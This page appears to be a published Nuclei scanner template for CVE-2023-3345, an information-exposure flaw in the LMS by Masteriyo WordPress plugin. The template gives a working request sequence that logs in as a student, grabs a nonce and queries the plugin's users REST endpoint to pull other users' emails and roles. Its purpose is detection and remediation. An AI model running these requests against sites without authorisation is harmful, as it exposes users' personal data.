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LMS by Masteriyo < 1.6.8 - Information Exposure

ID: CVE-2023-3345

Severity: medium

Author: DhiyaneshDK

Tags: cve2023,cve,wp-plugin,wp,wordpress,exposure,authenticated,learning-management-system,wpscan,masteriyo

The plugin does not properly safeguards sensitive user information, like other user’s email addresses, making it possible for any students to leak them via some of the plugin’s REST API endpoints.

id: CVE-2023-3345
info:
name: LMS by Masteriyo < 1.6.8 - Information Exposure
author: DhiyaneshDK
severity: medium
description: |
The plugin does not properly safeguards sensitive user information, like other user's email addresses, making it possible for any students to leak them via some of the plugin's REST API endpoints.
impact: |
An attacker can gain unauthorized access to sensitive information.
remediation: |
Upgrade LMS by Masteriyo to version 1.6.8 or higher to fix the vulnerability.
reference:
- https://wpscan.com/vulnerability/0d07423e-98d2-43a3-824d-562747a3d65a
- https://github.com/RandomRobbieBF/learning-management-system
- https://wordpress.org/plugins/learning-management-system
- https://nvd.nist.gov/vuln/detail/CVE-2023-3345
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
cvss-score: 6.5
cve-id: CVE-2023-3345
cwe-id: CWE-200
epss-score: 0.00446
epss-percentile: 0.74935
cpe: cpe:2.3:a:masteriyo:masteriyo:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: masteriyo
product: masteriyo
framework: wordpress
tags: cve2023,cve,wp-plugin,wp,wordpress,exposure,authenticated,learning-management-system,wpscan,masteriyo
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Origin: {{RootURL}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/profile.php HTTP/1.1
Host: {{Hostname}}
- |
GET /wp-json/masteriyo/v1/users/ HTTP/1.1
Host: {{Hostname}}
X-WP-Nonce: {{nonce}}
matchers-condition: and
matchers:
- type: word
part: body_3
words:
- '"username":'
- '"email":'
- '"roles":'
condition: and
- type: word
part: header_3
words:
- application/json
- type: status
status:
- 200
extractors:
- type: regex
name: nonce
part: body
group: 1
regex:
- '"nonce":"([a-z0-9]+)","versionString'
internal: true
# digest: 490a0046304402202bb907cbbf4cc10a7c1e2315d7fc541788d957fbc0ea064dba4044ea0c03b1b502203934ad7638d85655ed17ded3e2430eedaf4fdac5d43c9cbeeef08251da60817e:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-3345.yaml"

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